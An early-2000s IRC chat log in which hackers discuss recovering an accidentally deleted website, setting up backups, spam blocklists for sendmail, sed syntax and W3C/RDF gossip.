04:28:36 <AaronSw> It's not like I did it on purpose! 04:28:43 <sbp> right that'll do. Have you tried Google? 04:29:15 <sbp> broken: http://swartzfam.com/aaron/textify.tcl 04:29:15 <AaronSw> I'm getting there... 04:29:29 <AaronSw> Yeah, I know... but only I'd have the text to that script :-( 04:30:03 <sbp> heh: http://www.google.com/search?q=cache:http://swartzfam.com/aaron/textify.tcl 04:30:18 <AaronSw> But that's just the output. 04:30:26 <AaronSw> I need the script itself 04:30:28 <sbp> you really deleted your site? How the fuck did you manage that? I couldn't even do that to my site on purpose 04:30:40 <sbp> the "heh" was because Google didn't even cache the output 04:31:07 <AaronSw> I was trying to set up backup scripts. 04:31:16 <sbp> oh, man: http://swartzfam.com/aaron/school/ 04:31:22 <AaronSw> I know. 04:31:27 <AaronSw> Those were all script-driven. 04:31:43 <sbp> well, they're cached: http://www.google.com/search?q=cache:http://swartzfam.com/aaron/school/ 04:31:57 <AaronSw> Yeah, the text is cached at least... 04:32:14 <sbp> I can't believe you lost the whole lot! Don't you keep backups? 04:32:18 <AaronSw> Actually, I still have all the text since it's in a db... well most of it 04:32:34 <AaronSw> I did it while I was setting up a new backup system, so no... I don't think I had any other backups. 04:32:53 <sbp> at least that's cached: http://www.google.com/search?q=cache:http://swartzfam.com/aaron/school/2000/12/12/ 04:33:22 <sbp> but, man.. 04:33:24 <sbp> . 04:33:42 <sbp> did http://logicerror.com/archiverProxy help? 04:33:50 <AaronSw> Yeah, quite a bit. 04:34:26 <sbp> how big is your archive now? 04:34:42 <AaronSw> Rather large. 04:34:48 <AaronSw> I haven't counted recently. 04:35:11 <AaronSw> As you might have noticed I'm otherwise occupied. 04:36:57 <AaronSw> ooh, an undelete util 04:37:10 <sbp> ah, neat 04:37:37 <sbp> anyway, I think I'm going to have to let you sort it out by yourself (not that I'm of any help anyway) 04:37:46 <AaronSw> Pfft. 04:37:55 <AaronSw> AaronSw has left #swhack 04:37:56 <AaronSw> AaronSw has joined #swhack 04:38:26 <sbp> You'll be absolutely delighted to know that I've done a little more work on the homepage. Not worth however many hours I just spent on it, but it's progress all the same 04:38:35 <AaronSw> Heh. 04:38:47 <AaronSw> Don't delete it. ;-) 04:38:55 <sbp> I changed about 5 words in 3 hours, I think 04:39:01 <AaronSw> LOL 04:39:03 <AaronSw> I got back my homepage via ArchiverProxy, so it's in some basic state. 04:39:05 <sbp> delete it: I'm archiving it every step of the way :-) 04:39:15 <AaronSw> It's October, isn't it? 04:39:21 <sbp> yep, I saw you fixed that 04:39:23 <sbp> Yes, it is 04:39:39 <sbp> blimey Aaron, I lose track of days sometimes, but rarely months! 04:40:05 <AaronSw> It wasn't essential information, so I deleted it.;) 04:40:18 <sbp> heh, heh 04:43:06 <sbp> sbp has quit 04:43:17 <sbp> sbp has joined #swhack 04:43:35 <sbp> wrong button 04:43:52 <AaronSw> * AaronSw tries out this undelete program 04:45:07 <AaronSw> It's taking a long time... either it's deleting more files, or rescuing me. 04:47:10 <sbp> lol 04:47:30 <AaronSw> I think it's rescuing me. 04:47:39 <sbp> s/think/hope 04:48:29 <AaronSw> It's pretty lots of hopeful-looking text to the terminal 04:48:37 <sbp> I still can't believe the irony 04:49:23 <AaronSw> I know what caused it. 04:49:33 <AaronSw> You cursed me by telling me that my homepage was better than Dan's. 04:49:58 <AaronSw> You should probably take that back. 04:51:33 <sbp> nah, it is 04:51:50 <sbp> where was that page on logicerror.com about the bit bucket? 04:51:58 <AaronSw> bit bucket? 04:52:07 <sbp> it'd be cool if you had a recent changes file 04:52:22 <sbp> yeah, about every bit being sacred. You wrote it when I started deleting stuff 04:52:32 <AaronSw> recent changes: For logicerror? 04:52:37 <sbp> yeah 04:52:44 <AaronSw> Yeah, I agree 04:52:47 <AaronSw> http://logicerror.com/information 04:53:02 <sbp> aha, cheers 04:54:41 <sbp> anyway, I hope you recover it 04:55:06 <sbp> for your sake: I'll never let you live it down if you don't 04:55:23 <AaronSw> Heh. 04:55:54 <AaronSw> shoot... wtf did it do with it? 04:56:15 <sbp> heh! 04:56:16 <sbp> 02:42:25 <AaronSw> Shoot! I just deleted my website! 04:56:17 <sbp> 02:43:38 <AaronSw> shoot shoot shoot shoot shoot 04:56:25 <sbp> i.e. "fuck, fuck, fuck..." 04:56:31 <sbp> :-) 04:56:36 <AaronSw> :-) 04:57:26 <AaronSw> it rescued all this stuf, where did it freaking put it? 04:57:27 <sbp> how is the undelete process going? is it recovering any/all of it? 04:57:32 <sbp> ah 04:57:49 <sbp> try searching for files modified in the last 5 minutes 04:58:02 <AaronSw> hwo? 04:58:09 <sbp> open up search... oh 04:58:35 <sbp> 'tis very easy on Windows: I have to do stuff like that all the time 04:58:45 <AaronSw> Ahh.. her we go 04:58:49 <AaronSw> find / -ctime 1 04:59:05 <sbp> result? did it find it? 04:59:44 <AaronSw> it's searching... 05:00:42 <sbp> it's slow... 05:01:03 <AaronSw> Odd... didn't find anything. 05:01:35 <AaronSw> i must've done somehting wrong... 05:01:39 <sbp> blarg 05:01:41 <sbp> blargh 05:02:00 <sbp> well, it's gone 6AM here, so I'd better be skipping along on my merry way 05:02:23 <AaronSw> alright, c'ya 05:02:30 <AaronSw> ah, found my mistake 05:02:32 <sbp> as much as I'd like to lend you my moral support (which extends to pointing and laughing) :-) 05:02:48 <AaronSw> -mmin not ctime 05:02:54 <AaronSw> pfft 05:02:56 <sbp> ah 05:02:57 <AaronSw> to you 05:03:01 <sbp> :-) 05:03:15 <sbp> well, good luck in recovering the files, and let me know how it goes 05:03:19 <sbp> c'ya 05:03:39 <AaronSw> c'ya 05:06:19 <sbp> sbp has quit 05:11:00 <deltab> what did you use to undelete? 05:12:39 <AaronSw> recover.sf.net 05:12:41 <AaronSw> is what i'm using 05:13:21 <AaronSw> http://packages.debian.org/testing/admin/recover.html 05:14:41 <deltab> what system is it? OSX? 05:15:41 <AaronSw> Linux 05:15:49 <AaronSw> swartzfam.com 07:49:18 <irc.openprojects.net> Disconnected from irc.openprojects.net (ERROR :Closing Link: logster[xcdfddb76.ip.ggn.net] by forward.openprojects.net (Ping timeout for logster[xcdfddb76.ip.ggn.net])) 07:49:30 <logster> logster has joined #swhack 07:49:30 <forward.openprojects.net> topic is: I accidentally deleted my website. If you have an archive of http://swartzfam.com/aaron/ please let me know. 07:49:30 <forward.openprojects.net> Users on #swhack: logster AaronSw deltab 08:01:50 <deltab> deltab has quit 08:11:05 <deltab> deltab has joined #swhack 08:11:08 <deltab> deltab has quit 08:11:10 <deltab> deltab has joined #swhack 08:25:07 <deltab> deltab has quit 08:25:29 <deltab> deltab has joined #swhack 09:01:02 <irc.openprojects.net> Disconnected from irc.openprojects.net (ERROR :Closing Link: logster[xcdfddb76.ip.ggn.net] by forward.openprojects.net (Ping timeout for logster[xcdfddb76.ip.ggn.net])) 09:01:08 <logster> logster has joined #swhack 09:01:08 <forward.openprojects.net> topic is: I accidentally deleted my website. If you have an archive of http://swartzfam.com/aaron/ please let me know. 09:01:08 <forward.openprojects.net> Users on #swhack: logster deltab AaronSw 10:29:50 <deltab> deltab has quit 10:30:13 <deltab> deltab has joined #swhack 11:14:09 <Morbus> Morbus has joined #swhack 11:14:27 <Morbus> ping? 11:20:38 <Morbus> Morbus has quit 11:23:10 <Morbus> Morbus has joined #swhack 11:33:58 <AaronSw> AaronSw has quit 11:33:58 <deltab> deltab has quit 11:33:58 <Morbus> Morbus has quit 11:34:04 <ChanServ> ChanServ has changed the topic to: 11:34:23 <AaronSw> AaronSw has joined #swhack 11:34:42 <deltab> deltab has joined #swhack 11:34:42 <Morbus> Morbus has joined #swhack 12:27:47 <Morbus> Morbus has quit 12:39:24 <deltab> deltab has quit 12:39:24 <AaronSw> AaronSw has quit 12:39:27 <deltab> deltab has joined #swhack 12:39:27 <AaronSw> AaronSw has joined #swhack 12:58:13 <irc.openprojects.net> Disconnected from irc.openprojects.net (Connection reset by peer) 12:58:31 <logster> logster has joined #swhack 12:58:31 <asimov.openprojects.net> Users on #swhack: logster AaronSw deltab 14:00:27 <Morbus> Morbus has joined #swhack 14:08:03 <Morbus> ping? 14:46:58 <AaronSw> AaronSw has quit 14:46:58 <Morbus> Morbus has quit 14:47:22 <Morbus> Morbus has joined #swhack 14:47:40 <AaronSw> AaronSw has joined #swhack 14:58:24 <AaronSw> * AaronSw wakes up 14:58:58 <AaronSw> pong, Morbus. sorry -- guesss i was a little sleepy 14:59:03 <AaronSw> ;) 14:59:11 <Morbus> hehehe. damn. that's one slow motherboard :) 14:59:27 <AaronSw> ? 15:02:28 <Morbus> ok. so of the three, you'd say the stegosaurus? 15:02:43 <AaronSw> Yeah, I think so 15:02:50 <Morbus> k. thanks 15:44:34 <sbp> sbp has joined #swhack 15:46:23 <sbp> ugh, still gone: http://swartzfam.com/aaron/school/ 15:46:34 <sbp> I guess the undelete didn't work, then 15:46:34 <AaronSw> Yeah, I decided to go to sleep 15:46:38 <AaronSw> No, it worked 15:46:44 <sbp> ah, cool 15:46:55 <AaronSw> I just haven't gotten finished digging the stuff i need out of the rubble 15:47:29 <sbp> ugh 15:47:36 <sbp> at least you recovered it 15:47:41 <AaronSw> Yep. 15:49:13 <AaronSw> Hmm, 2 photoshop files... I wonder what those are. 15:49:48 <sbp> Gotta run 15:49:51 <sbp> sbp has quit 15:50:01 <AaronSw> Ah, my archiveurl script! I've been looking for this 15:59:53 <AaronSw> Yay! back on the air 16:00:02 <AaronSw> /school is at least 16:07:17 <Morbus> Morbus has left #swhack 16:08:05 <AaronSw> Hmm, Google interprets a "|" between terms as an or 16:11:45 <sbp> sbp has joined #swhack 16:12:03 <sbp> * sbp sends a rant to DC-ARCH about RDDL 16:13:21 <sbp> hello? 16:15:05 <sbp> Gotta run 16:15:07 <sbp> sbp has quit 16:15:16 <AaronSw> Yeah, saw that. 16:15:30 <AaronSw> Say my name, if you want me to pay attention, silly. 16:24:49 <Morbus> Morbus has joined #swhack 16:24:56 <AaronSw> 'lo 16:25:06 <Morbus> Morbus has left #swhack 16:39:10 <AaronSw> Wow, TimBL sent a message to the WG. 16:39:41 <AaronSw> Tim Berners-Lee: "The idea of any "SHOULD" in the definition of equality for literals for any 16:39:41 <AaronSw> language give me the creeps. A weakness at the bottom of the foundation tends to 16:39:41 <AaronSw> imply bad things for the rest." 16:40:04 <AaronSw> Signed: "-- Tim BL, as random member of RDF-IG" 16:40:20 <AaronSw> (who clearly doesn't know that the RDF Core list is off-limits for random members ;) 16:40:39 <AaronSw> I'd like to see Brian's message explaining to him that the list is member-only and to please send his feedback to rdf-comments! 17:06:08 <sbp> sbp has joined #swhack 17:08:50 <AaronSw> Hello 17:09:02 <AaronSw> I'm really surpised that Dave Winer won the Top Wired Award for SOAP. 17:10:05 <AaronSw> He was up against Dean Kamen, Dmitry Sklyarov, Ed Felten and Miguel de Icaza. 17:10:13 <AaronSw> That's tough competition. 17:11:12 <AaronSw> sbp? 17:16:24 <Morbus> Morbus has joined #swhack 17:16:40 <AaronSw> Hi Morbus, so who'd you vote for in the Wired Awards? 17:16:41 <Morbus> sean, you there? 17:16:45 <Morbus> i didn't vote. 17:16:56 <Morbus> i haven't read the latest wired yet. its piled under three other mags. 17:18:58 <sbp> yes I'm here 17:19:03 <sbp> sorry, was working on something 17:19:13 <Morbus> check out disobey.com/syncasaurus/ 17:19:20 <sbp> me? 17:19:23 <Morbus> which do you like? 17:19:25 <Morbus> yeah, you. 17:20:43 <sbp> heh, heh: http://www.disobey.com/syncasaurus/syncasaurus3.jpg 17:21:47 <Morbus> heh. you like that one? 17:26:33 <sbp> I like it because it made me giggle. Choose it, choose it! 17:26:58 <Morbus> hehe. :) 17:27:11 <Morbus> ther'es a smaller version at polytechnic.co.uk/sync.gif 17:27:17 <Morbus> the final won't be that small though 17:30:28 <Morbus> yah :) 17:34:09 <Morbus> aaww. only 4300. i suck. http://www.google.com/search?hl=en&q=%22disobey.%2Bcom%22&btnG=Google+Search 17:35:07 <AaronSw> Why does Yahoo think you're an Magazine? http://dir.yahoo.com/Entertainment/News_and_Media/Magazines/ 17:35:25 <Morbus> i dont flipping know. 17:35:33 <Morbus> you know, ever since 97, i've been tyring to convince people i'm not a magazine 17:35:36 <Morbus> they don't flipping listen 17:35:40 <AaronSw> Heheh. 17:35:43 <Morbus> so i let them rest assured. morons :) 17:35:54 <AaronSw> Do you get magazine ad emails like DanC? 17:35:56 <Morbus> funny, though, i was one of the most popular ones a few months back at the url. 17:36:06 <Morbus> yup, i do. why does danc get em? 17:36:18 <AaronSw> He once edited the w3j.org 17:36:27 <Morbus> ah. 17:36:33 <Morbus> i also get a lot of college seminar things. 17:36:39 <Morbus> they love inviting me to everything. 17:36:43 <Morbus> sigh. 17:38:53 <AaronSw> You're just so popular 17:39:42 <Morbus> pft. if i were popular, they'd move the conference to somewhere i can walk to. 17:39:42 <AaronSw> Heheh. 17:39:46 <Morbus> :) 17:44:56 <Morbus> am i 'reet cos i'm a gnu link? http://www.gnu.org/directory/AmphetaDesk.html 17:45:07 <AaronSw> Totally. 17:45:07 <sbp> Gotta run 17:45:08 <sbp> sbp has quit 17:45:16 <AaronSw> Is 'reet a good thing? 17:45:22 <Morbus> yeah :) 17:47:45 <Morbus> dunno if you seen this: http://carboniq.com/log/ 17:47:47 <Morbus> not so bad. 17:48:50 <AaronSw> * AaronSw deletes him MP3 collection for disk space 17:48:55 <AaronSw> 600MB, not bad 17:48:55 <Morbus> hehe. 17:49:16 <AaronSw> Oh, shoot! I didn't notice there was another partition! 17:49:37 <AaronSw> ah well 17:49:56 <AaronSw> I have it all on my portable, that was just the web-accessible copy 17:54:59 <Morbus> what portable do you have? a rio? 17:55:09 <AaronSw> No, I mean my laptop... my TiBook 17:55:14 <Morbus> oh <g> 17:55:18 <AaronSw> I was going to say desktop, but then i remembered it's a portable ;) 17:55:22 <Morbus> hehehe. 17:55:39 <Morbus> i have a 75mhz laptop running 95 with 8 megs. ie 3 and ns3 yeaaaah. 17:55:49 <AaronSw> heheh 17:55:52 <Morbus> plus i have two UMSDOS based linux's on it :) 17:55:59 <Morbus> with a 2.0 and 2.2 kernel. 17:56:05 <Morbus> haven't updated them in years. 17:56:16 <AaronSw> 8 megs of ram? 17:56:20 <Morbus> yup. 17:56:22 <AaronSw> how could windows run on that? 17:56:31 <Morbus> its a very very slim installation, but it runs. 17:56:39 <Morbus> ie 3 takes about 15 seconds to load though. ns around 30. 17:56:45 <Morbus> but it works. got a 288 modem. 17:56:54 <Morbus> its mostly an email machine when i care that much (which is rare rare rare) 17:57:13 <Morbus> got qedit as my text editor (dos based, woot) <g> 17:57:38 <AaronSw> Heheheh. 17:57:47 <AaronSw> ls 17:57:49 <AaronSw> whoops 17:57:53 <Morbus> heheh. 17:57:53 <Morbus> um. 17:58:03 <Morbus> >AaronSW -r-r-rw- 17:58:09 <AaronSw> Huh? 17:58:18 <AaronSw> Oh... 17:58:21 <Morbus> i'm trying ot manually construct an ls based on irc members 17:58:22 <AaronSw> cd AaronSW; ls 17:58:32 <Morbus> >loser --x--x--x 17:58:38 <AaronSw> rm loser 17:58:45 <Morbus> operation denied. 17:58:48 <AaronSw> sudo rm loser 17:58:50 <Morbus> permission denied, rather. 17:59:00 <Morbus> password: 17:59:23 <AaronSw> ****** 17:59:33 <Morbus> > Are you sure you want to do this? [n] 17:59:54 <AaronSw> y 18:01:19 <Morbus> rm: illegal option -y 18:02:01 <AaronSw> * AaronSw kicks morbus-commandline 18:03:06 <Morbus> Not ready reading drive morbus-commandline 18:03:17 <Morbus> Abort, Retry, Fail? 18:03:33 <AaronSw> reboot to linux! 18:04:13 <Morbus> Windows NT Boot Loader: Incorrect MBR found. Reinstalling Boot Loader... 18:04:43 <AaronSw> Hmm, I found this file but I can't remember where it goes. :( 18:05:14 <Morbus> on your site? 18:05:41 <AaronSw> Yeah, from my file recovery 18:05:43 <deltab> try searching for some key phrase from it on google 18:05:51 <AaronSw> I did, doesn't seem to be indexed 18:06:39 <Morbus> whoo, after syncasaurus, i'll be working on a sysadmin/spam project/ 18:06:41 <Morbus> fun fun. 18:07:02 <AaronSw> I guess if it's not on google it can't be that important 18:07:02 <deltab> sysadmin spam? 18:07:20 <AaronSw> sysadmin spam? 18:07:44 <Morbus> yeah, basically, it'll be an authenticated system of hosts and ips that should be blocked due to spam, importable into access.db for sendmail, procmail, dns lists, etc... auto-updated, lalala. 18:08:01 <Morbus> kinda like a servers-side autoupdating rbl. 18:08:16 <AaronSw> I think the heuristic-based spam blocker is a better idea 18:08:26 <AaronSw> aren't all rbls server-side and autoupdating? 18:08:28 <Morbus> explain heurisitc. 18:08:36 <Morbus> well, yes and no. 18:08:38 <AaronSw> err, not heruristic actually, collaborative. 18:08:49 <AaronSw> Everyone when they find a spam on their machine clicks the "this is a spam button" 18:09:00 <AaronSw> and then it gets deleted from the other people's machines 18:09:01 <Morbus> tehy're server side for the actually implementation, but not for the hosting of. if the rbl goes down, then you'll have your mail app querying a broken domain 18:10:26 <AaronSw> ah 18:10:33 <Morbus> that, actually, doesn't sound halfbad. 18:10:41 <Morbus> you could kinda do that with this idea, just autopush updates to a daemon on the machine. 18:11:17 <Morbus> although sendmail doesn't have decent subject line filtering, or what have you, procmail could do it easily. 18:11:35 <AaronSw> problem is it only really works client-side 18:11:52 <AaronSw> because of the time it takes to get the data 18:11:52 <Morbus> for the reporting, right? 18:11:56 <AaronSw> right 18:12:01 <Morbus> right. 18:12:10 <Morbus> autopushing to 3000 hosts would be a bad sort of bandwidth thing :) 18:13:04 <AaronSw> it apparently works quite well 18:13:11 <AaronSw> haven't used it and don't know the details, tho 18:18:04 <AaronSw> Wow, some real blasts from the past in this undelete. 18:18:09 <Morbus> heh. 18:18:23 <AaronSw> I can't believe I put this stuff on my website... here's a school reflections writeup from 6th grade: 18:18:53 <AaronSw> "I think this shows that I wasn't pushing myself hard enough, so I will try harder this term. Otherwise, I was mostly pleased to see my report card. [...] Even though I did not achieve my goal, I am still very pleased, because I got close to it and I learned a lot about the subject." 18:19:02 <Morbus> oh my lord. 18:19:05 <Morbus> you need a beating. 18:19:12 <AaronSw> It's incredible what you'll say under torture. 18:19:17 <Morbus> heheh... 18:19:55 <AaronSw> Heh, I wrote about this article on 1999-12-12: "Suddenly Hackers Are Sexy, Hip and Evil" 18:20:18 <AaronSw> I believe my teacher wrote on that in red pen saying, "Don't get any ideas Aaron." 18:20:24 <Morbus> bwaaha 18:20:42 <AaronSw> As I recall he also circled "Sexy" and wrote "Oh my!" 18:21:00 <deltab> haha! 18:21:42 <AaronSw> I can't believe I used W3CDTF format back in 1999-12-12. 18:21:47 <AaronSw> But I guess I did. 18:23:02 <Morbus> what's that? 18:23:15 <AaronSw> It's the date and time format that goes YYYY-MM-DD 18:23:53 <Morbus> and what should the date and time format be? 18:24:06 <Morbus> i thought that was iso8601 18:24:08 <deltab> I've been using it for a few years too 18:24:23 <AaronSw> It's a subset of iso8601 18:24:31 <Morbus> so what should it be? 18:24:52 <AaronSw> It should be W3CDTF. 18:25:01 <AaronSw> The point is I didn't know I was so happening in 8th grade. 18:25:05 <Morbus> ooOh. 18:25:10 <Morbus> ok. i see. i read it as "man, i was dumb!" 18:25:19 <AaronSw> Yeah, saw that. 18:25:47 <AaronSw> Ugh, why do I have this: "TEEN'S DEATH SHEDS LIGHT ON A VOLATILE PARTY DRUG " 18:26:01 <Morbus> not "man, i'm cooler than i thought" 18:26:31 <AaronSw> [[[the group skipped the movie, cruised around in a van, got peach Slurpees at a 7-Eleven and 18:26:31 <AaronSw> ended up in an apartment belonging to a friend of the boys. Some smoked 18:26:31 <AaronSw> pot, some drank alcohol. They watched "Saturday Night Live" and the movies "Jackie Brown" and "Superfly," according to court documents.]]] 18:29:22 <AaronSw> 91 files to go... 18:30:08 <Morbus> i poo. i need a sed command line 18:30:08 <Morbus> how do i take STDIN, regexp and rewrite to STDOUT? 18:30:12 <Morbus> i don't know the syntax. 18:30:27 <AaronSw> cat file | sed -e 's/bar/baz/ | more 18:33:15 <Morbus> hmf. 18:33:15 <Morbus> sed -e `s/(\n)/\tREJECT$1/` 18:33:15 <Morbus> that doesn't work. 18:33:16 <Morbus> how do i refer to parens? 18:33:29 <Morbus> ok. well. nevermind. 18:33:29 <Morbus> 's/$/\tREJECT\n/' 18:33:34 <Morbus> how do i embed tabs? <g> 18:35:32 <AaronSw> \t 18:36:12 <Morbus> yeah, i did that. 18:36:12 <Morbus> they came out as \t's. 18:36:13 <Morbus> see above. 18:36:38 <AaronSw> type a literal tab? 18:36:44 <Morbus> yeah 18:37:17 <Morbus> i want a tab character 18:37:40 <AaronSw> ask deltab 18:38:33 <Morbus> deltab, you around? i'm running sed -e 's/$/\tREJECT\n' and my tabs and newlines are coming through as t and n, and not what i want. 18:42:27 <Morbus> argh. goddamit. 18:45:12 <Morbus> whoo. 18:45:12 <AaronSw> do a google on sed? 18:45:12 <Morbus> lwp-request http://www.test.com/ | perl -pe 's/$/\t\tREJECT/' 18:45:13 <Morbus> >> /etc/mail/access && makemap hash /etc/mail/access < /etc/mail/access 18:45:20 <Morbus> oop. thats all one line. 18:45:36 <AaronSw> cool 18:45:39 <Morbus> :) 18:46:00 <Morbus> URL in question being: http://www.monkeys.com/anti-spam/filtering/lists.html 18:46:05 <Morbus> any of thelists at the bottom. 18:52:09 <AaronSw> why do you need the tabs -- spaces work too, don't they? 18:53:06 <deltab> sed doesn't support those \ escapes 18:53:20 <AaronSw> So how do you do it? 18:53:25 <deltab> you need to type the tab literally 18:55:50 <deltab> which may need ctrl-v first 18:56:02 <AaronSw> Ah 18:56:09 <deltab> also, use G to add a blank line 18:56:44 <deltab> sed 's/$/<ctrl-v><tab>REJECT/;G' 18:57:06 <deltab> I'm off to dinner now 19:00:54 <sbp> sbp has joined #swhack 19:01:20 <AaronSw> hello 19:01:25 <sbp> hi there 19:01:34 <sbp> and what may I ask brings you to this channel, AaronSw? 19:01:37 <AaronSw> We were making fun of my 6th Grade self in the logs. 19:01:44 <sbp> great! 19:01:50 <sbp> I'll have to tiddly on through them 19:02:43 <sbp> what "grade" are you (meant to) be in now? 19:02:52 <AaronSw> 10th, I suppose 19:03:37 <sbp> heh: 18:20:42 <AaronSw> As I recall he also circled "Sexy" and wrote "Oh my!" 19:04:34 <AaronSw> Heh, "Oh, and maybe we should take a vote on whether Aaron should go away to college ;)" 19:06:22 <sbp> ooh:- 19:06:23 <sbp> [[[ 19:06:24 <sbp> Dear Sean, 19:06:24 <sbp> i'm mystified. 19:06:25 <sbp> ]]] 19:06:43 <sbp> - "Roland Schwaenzl", to <DC-ARCHITECTURE@JISCMAIL.AC.UK> 19:07:25 <sbp> I'm also mystified at:- 19:07:26 <sbp> [[[ 19:07:26 <sbp> Curiously nobody seems to care that this information a machine get's nowhere - or? 19:07:27 <sbp> ]]] 19:08:48 <sbp> heh: "scripy" 19:09:52 <sbp> heh:- 19:09:53 <sbp> [[[ 19:09:53 <sbp> If Aaron would quit blowing his time commuting to a "posh" college we might 19:09:53 <sbp> get this show back on track! 19:09:54 <sbp> ]]] 19:10:02 <sbp> stop commuting, dumbwad! 19:11:12 <sbp> if we could add triples to teh SWAG-D with a context flag, we could let anyone add data to it, and then if we felt it was spurious, just DELETE (?x, ?y, ?z, someContextFlag) 19:11:23 <AaronSw> Feel free to code support. 19:11:28 <AaronSw> What else could I do but commute? 19:12:27 <sbp> Well, I'd have done it in Python :-) I refactored RDFWiki to allow a similar thing, and RDF Wiki is very similar in what it does now to the SWAG-D, except the SWAG-D is more robust and so forth, 'cause you programmed it. Your bubble gum seems to be harder than my bubble gum 19:12:38 <sbp> commute: can you work whilst you commute? 19:12:47 <AaronSw> Well, i read books and things. 19:12:57 <AaronSw> I could take my laptop, but it's a little heavy. 19:13:03 <sbp> Bummer 19:13:32 <AaronSw> maybe I should use the time to do telecons ;) 19:13:37 <sbp> heh! 19:14:32 <sbp> perhaps if I hacked up some weird Python invention CGI form type thingymebob, you could host it? 19:14:44 <sbp> Oh, and another thing: can we have NTriples output on n3tordf? 19:14:56 <AaronSw> sure, I can host it/ 19:15:02 <AaronSw> N-Triples... I suppose.. 19:15:11 <sbp> do -n3=spart 19:15:21 <AaronSw> set to=ntriples and see if that works 19:15:39 <sbp> actually, Tim added -ntriples... 19:16:20 <AaronSw> right. 19:16:35 <sbp> it's sitting there twiddling its thumbs 19:16:48 <AaronSw> Hm. 19:17:05 <sbp> O.K., it's going now 19:17:11 <sbp> ooh, fireworks 19:17:24 <AaronSw> where? 19:17:36 <sbp> outside my window, in a garden oppostie 19:17:50 <sbp> wow, cool ones 19:18:08 <sbp> bangers, rockets, flares 19:19:02 <sbp> wow, kick-ass display 19:19:07 <sbp> I think that's it 19:19:09 <AaronSw> cool 19:19:13 <AaronSw> too bad fireworks are illegal here 19:19:18 <sbp> ah, it worked: http://swag.webns.net/n3tordf?uri=http%3A%2F%2Fwww.w3.org%2F2001%2F03%2Fearl%2F0.95&from=rdf&to=ntriples 19:19:19 <AaronSw> Is it independence day or something? 19:19:21 <Morbus> anyone know if you can have multiple access files in sendmail? 19:19:26 <sbp> fireworks are illegal??? 19:19:35 <AaronSw> Yeah. 19:19:42 <AaronSw> Have to go to Wisconsin to get them 19:19:50 <sbp> wow, bummer 19:20:15 <sbp> cool spam: Subject: Are your losing sales? fsdf9 19:20:28 <AaronSw> I keep getting one that's labebeled "GET RICK QUICK SCAM" 19:20:34 <AaronSw> at least they're honest 19:21:02 <sbp> heh 19:21:46 <sbp> anyway, I have to toodle in a min. 19:21:51 <AaronSw> ok 19:22:16 <sbp> I may hack up some experimental Python deeley and send stuff to SWAG-Dev 19:22:21 <sbp> c'ya 19:22:24 <sbp> sbp has quit 19:24:48 <Morbus> Morbus has left #swhack 19:38:04 <Morbus> Morbus has joined #swhack 19:40:48 <AaronSw> * AaronSw finishes backup script for swartzfam.com and script to copy it to offsite location. 19:41:00 <AaronSw> A little late, tho... :( 19:45:51 <BenSw> BenSw has joined #swhack 19:46:06 <AaronSw> Hello BenSw 19:46:27 <AaronSw> School out? 19:46:57 <BenSw> yes 19:47:37 <BenSw> HI 19:47:40 <AaronSw> AaronSw has changed the topic to: I've put my website back together and created nightly backups and offsite bacups. 19:47:48 <AaronSw> Hi 19:47:56 <Morbus> is a bacup like a hicup? 19:48:04 <BenSw> the computer is just slow 19:48:24 <BenSw> Hi Morbus 19:48:38 <Morbus> hey 19:48:50 <AaronSw> AaronSw has changed the topic to: I've put my website back together and created nightly backups and offsite backups. 19:48:58 <AaronSw> It's what happens after too many hicups. 19:49:18 <Morbus> yeah, that would make sense. too many hicups help your food come backup 19:50:14 <Morbus> aaron, what email you at? snding you an email i just sent to someone. kinda fun amphetadesk inside stuff 19:50:26 <AaronSw> me@aaronsw.com 19:50:31 <Morbus> hahah! 19:50:37 <Morbus> its logged! i got you! i finally got you! 19:50:40 <Morbus> whoo! 19:50:49 <AaronSw> lol, I don't care? 19:50:57 <AaronSw> I've already plastered it all over the place 19:50:59 <Morbus> aw, don't ruin my fun. come on, moan for me, baby. 19:51:16 <AaronSw> I was going to take it off-log but then i figured, aww, morby will have some fun 19:51:23 <Morbus> hehehe 19:51:30 <BenSw> Aaron tivos port 85... right? 19:51:35 <AaronSw> oh wait, that email address is wrong -- it's morbus@disobey.com 19:51:42 <AaronSw> Yeah, bensw 19:51:48 <AaronSw> did you hear? morbus@disobey.com 19:51:57 <Morbus> sent, aaron. techie at the beginning, but then some fun stuff at the end. 19:51:58 <Morbus> heh. 19:52:09 <Morbus> you think your email is everywhere? 19:52:28 <AaronSw> yeah, when you combine all hundred of them 19:52:30 <Morbus> ooh. not that bad, actually. 19:52:35 <AaronSw> google finds it 1190 times 19:52:35 <Morbus> 1190 to 1430 on google. 19:52:40 <Morbus> hehe 19:52:48 <AaronSw> plus 836 for my old one 19:53:04 <AaronSw> and another 139 for a little-used one 19:53:31 <Morbus> well, see, thats cheating. i've used only one since 1997 :) 19:53:46 <Morbus> anyways, check out that email. 19:53:52 <AaronSw> reading it now 19:54:10 <BenSw> Aaron can you tape survivor Afica on the tivo? 19:54:12 <AaronSw> Yeah, I've only used mine since like 2000 and i still cream you 19:54:19 <AaronSw> BenSw, you can do it when you come home. 19:54:40 <BenSw> no because it will be over by that time 19:54:52 <AaronSw> ok... remind me in a few mins 19:55:14 <BenSw> ok 19:58:43 <BenSw> bah 19:58:55 <BenSw> my email is on google 4 times 19:59:51 <Morbus> Morbus has quit 20:00:44 <BenSw> k 20:05:54 <BenSw> hello 20:06:47 <AaronSw> Hi, let's chat in #swartzfam 20:06:47 <BenSw> BenSw has quit 20:10:45 <BenSw> BenSw has joined #swhack 20:11:19 <BenSw> can't that would mean restarting cgi irc 20:16:49 <BenSw> BenSw has quit 20:17:00 <BenSw> BenSw has joined #swhack 20:26:10 <BenSw> BenSw has quit 20:43:11 <Morbus> Morbus has joined #swhack 21:41:04 <Morbus> Morbus has left #swhack 22:09:11 <Morbus> Morbus has joined #swhack 22:16:49 <Morbus> Morbus has changed the topic to: We are building towards orgasm. 22:35:07 <Morbus> Morbus has quit 22:42:33 <Morbus> Morbus has joined #swhack 23:12:30 <Morbus> Morbus has quit 23:32:25 <Morbus> Morbus has joined #swhack 23:32:41 <Morbus> Morbus has left #swhack ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������2001-10-19.txt��������������������������������������������������������������������������������������0100644�0000143�0000000�00000215504�07364132216�011677� 0����������������������������������������������������������������������������������������������������ustar �nobody��������������������������root�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������00:29:26 <AaronSw> * AaronSw waves 00:47:52 <Morbus> Morbus has joined #swhack 00:47:57 <sbp> sbp has joined #swhack 00:48:13 <Morbus> Morbus has quit 00:48:17 